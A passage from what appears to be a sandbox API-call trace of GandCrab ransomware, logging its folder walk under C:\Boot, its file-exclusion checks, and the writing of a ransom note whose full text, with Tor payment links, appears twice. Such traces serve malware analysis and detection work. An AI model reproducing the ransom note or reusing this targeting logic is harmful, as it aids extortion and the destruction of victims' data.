hFindFile=0x588de0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.607] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.607] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.607] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0052.607] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0052.607] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="fi-FI" | out: lpString1="C:\\Boot\\fi-FI") returned="C:\\Boot\\fi-FI" [0052.607] lstrcatW (in: lpString1="C:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="C:\\Boot\\fi-FI\\") returned="C:\\Boot\\fi-FI\\" [0052.607] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.608] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.608] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.608] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0052.608] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="C:\\Boot\\fi-FI\\*") returned="C:\\Boot\\fi-FI\\*" [0052.608] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588ea0 [0052.608] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.608] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.608] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.608] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.608] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.608] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.608] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.609] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0052.609] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0052.609] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.609] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.609] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.609] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.609] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned="C:\\Boot\\fi-FI\\memtest.exe.mui" [0052.609] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0052.609] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.609] FindNextFileW (in: hFindFile=0x588ea0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.609] FindClose (in: hFindFile=0x588ea0 | out: hFindFile=0x588ea0) returned 1 [0052.609] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.609] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\fi-FI\\\\GDCB-DECRYPT.txt") returned 31 [0052.609] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fi-fi\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.610] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.610] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.610] CloseHandle (hObject=0x4e0) returned 1 [0052.610] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.611] lstrlenW (lpString="C:\\Boot\\fi-FI\\") returned 14 [0052.611] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="C:\\Boot\\fi-FI\\*") returned="C:\\Boot\\fi-FI\\*" [0052.611] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.611] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.611] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.611] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.611] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.611] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.611] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.611] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.611] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="C:\\Boot\\fi-FI\\bootmgr.exe.mui" [0052.611] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.611] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0052.611] lstrlenW (lpString="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0052.611] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.612] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.612] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.612] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.612] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt" [0052.612] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.612] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0052.612] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0052.612] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0052.612] lstrlenW (lpString="C:\\Boot\\fi-FI\\GDCB-DECRYPT.txt") returned 30 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.612] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.612] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.613] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.613] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.613] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.613] lstrcatW (in: lpString1="C:\\Boot\\fi-FI\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned="C:\\Boot\\fi-FI\\memtest.exe.mui" [0052.613] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.613] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0052.613] lstrlenW (lpString="C:\\Boot\\fi-FI\\memtest.exe.mui") returned 29 [0052.613] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.613] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.613] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.613] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.613] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0052.613] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0052.613] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Fonts" | out: lpString1="C:\\Boot\\Fonts") returned="C:\\Boot\\Fonts" [0052.614] lstrcatW (in: lpString1="C:\\Boot\\Fonts", lpString2="\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0052.614] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.614] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.614] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0052.614] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="C:\\Boot\\Fonts\\*") returned="C:\\Boot\\Fonts\\*" [0052.614] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.622] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.622] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.622] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.622] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.622] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.622] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0052.622] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0052.622] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Boot\\Fonts\\chs_boot.ttf" [0052.622] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0052.622] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.622] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.622] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0052.622] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0052.622] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\cht_boot.ttf") returned="C:\\Boot\\Fonts\\cht_boot.ttf" [0052.622] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0052.622] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.622] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.622] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0052.622] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0052.622] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Boot\\Fonts\\jpn_boot.ttf" [0052.622] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0052.622] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.622] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.622] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0052.622] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0052.622] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\kor_boot.ttf") returned="C:\\Boot\\Fonts\\kor_boot.ttf" [0052.622] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0052.622] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.622] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.622] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2=".") returned 1 [0052.622] lstrcmpW (lpString1="malgunn_boot.ttf", lpString2="..") returned 1 [0052.622] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgunn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned="C:\\Boot\\Fonts\\malgunn_boot.ttf" [0052.622] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0052.622] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.622] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.622] lstrcmpW (lpString1="malgun_boot.ttf", lpString2=".") returned 1 [0052.623] lstrcmpW (lpString1="malgun_boot.ttf", lpString2="..") returned 1 [0052.623] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="malgun_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\malgun_boot.ttf") returned="C:\\Boot\\Fonts\\malgun_boot.ttf" [0052.623] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0052.623] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.623] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.623] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2=".") returned 1 [0052.623] lstrcmpW (lpString1="meiryon_boot.ttf", lpString2="..") returned 1 [0052.623] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryon_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned="C:\\Boot\\Fonts\\meiryon_boot.ttf" [0052.623] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryon_boot.ttf") returned 30 [0052.623] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.623] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.623] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2=".") returned 1 [0052.623] lstrcmpW (lpString1="meiryo_boot.ttf", lpString2="..") returned 1 [0052.623] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="meiryo_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned="C:\\Boot\\Fonts\\meiryo_boot.ttf" [0052.623] lstrlenW (lpString="C:\\Boot\\Fonts\\meiryo_boot.ttf") returned 29 [0052.623] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.623] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.623] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2=".") returned 1 [0052.623] lstrcmpW (lpString1="msjhn_boot.ttf", lpString2="..") returned 1 [0052.623] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned="C:\\Boot\\Fonts\\msjhn_boot.ttf" [0052.623] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0052.623] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.623] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.623] lstrcmpW (lpString1="msjh_boot.ttf", lpString2=".") returned 1 [0052.623] lstrcmpW (lpString1="msjh_boot.ttf", lpString2="..") returned 1 [0052.623] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msjh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msjh_boot.ttf") returned="C:\\Boot\\Fonts\\msjh_boot.ttf" [0052.623] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0052.623] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.623] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.623] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2=".") returned 1 [0052.623] lstrcmpW (lpString1="msyhn_boot.ttf", lpString2="..") returned 1 [0052.623] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyhn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned="C:\\Boot\\Fonts\\msyhn_boot.ttf" [0052.623] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0052.623] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.623] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.623] lstrcmpW (lpString1="msyh_boot.ttf", lpString2=".") returned 1 [0052.623] lstrcmpW (lpString1="msyh_boot.ttf", lpString2="..") returned 1 [0052.623] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="msyh_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\msyh_boot.ttf") returned="C:\\Boot\\Fonts\\msyh_boot.ttf" [0052.623] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0052.623] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.623] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.623] lstrcmpW (lpString1="segmono_boot.ttf", lpString2=".") returned 1 [0052.623] lstrcmpW (lpString1="segmono_boot.ttf", lpString2="..") returned 1 [0052.623] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segmono_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segmono_boot.ttf") returned="C:\\Boot\\Fonts\\segmono_boot.ttf" [0052.623] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0052.623] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.623] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.624] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2=".") returned 1 [0052.624] lstrcmpW (lpString1="segoen_slboot.ttf", lpString2="..") returned 1 [0052.624] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoen_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned="C:\\Boot\\Fonts\\segoen_slboot.ttf" [0052.624] lstrlenW (lpString="C:\\Boot\\Fonts\\segoen_slboot.ttf") returned 31 [0052.624] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.624] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.624] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2=".") returned 1 [0052.624] lstrcmpW (lpString1="segoe_slboot.ttf", lpString2="..") returned 1 [0052.624] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="segoe_slboot.ttf" | out: lpString1="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned="C:\\Boot\\Fonts\\segoe_slboot.ttf" [0052.624] lstrlenW (lpString="C:\\Boot\\Fonts\\segoe_slboot.ttf") returned 30 [0052.624] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.624] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.624] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0052.624] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0052.624] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned="C:\\Boot\\Fonts\\wgl4_boot.ttf" [0052.624] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0052.624] lstrcmpW (lpString1=".ttf", lpString2=".sql") returned 1 [0052.624] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.624] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.624] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.625] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Fonts\\\\GDCB-DECRYPT.txt") returned 31 [0052.625] CreateFileW (lpFileName="C:\\Boot\\Fonts\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\fonts\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.627] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.627] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.627] CloseHandle (hObject=0x4e0) returned 1 [0052.627] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.628] lstrlenW (lpString="C:\\Boot\\Fonts\\") returned 14 [0052.628] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="C:\\Boot\\Fonts\\*") returned="C:\\Boot\\Fonts\\*" [0052.628] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588b20 [0052.628] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.628] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.628] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.628] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.628] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.628] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0052.628] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0052.628] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\chs_boot.ttf") returned="C:\\Boot\\Fonts\\chs_boot.ttf" [0052.628] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.628] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0052.629] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0052.629] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.629] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.629] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0052.629] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0052.629] lstrcatW (in: lpString1="C:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: 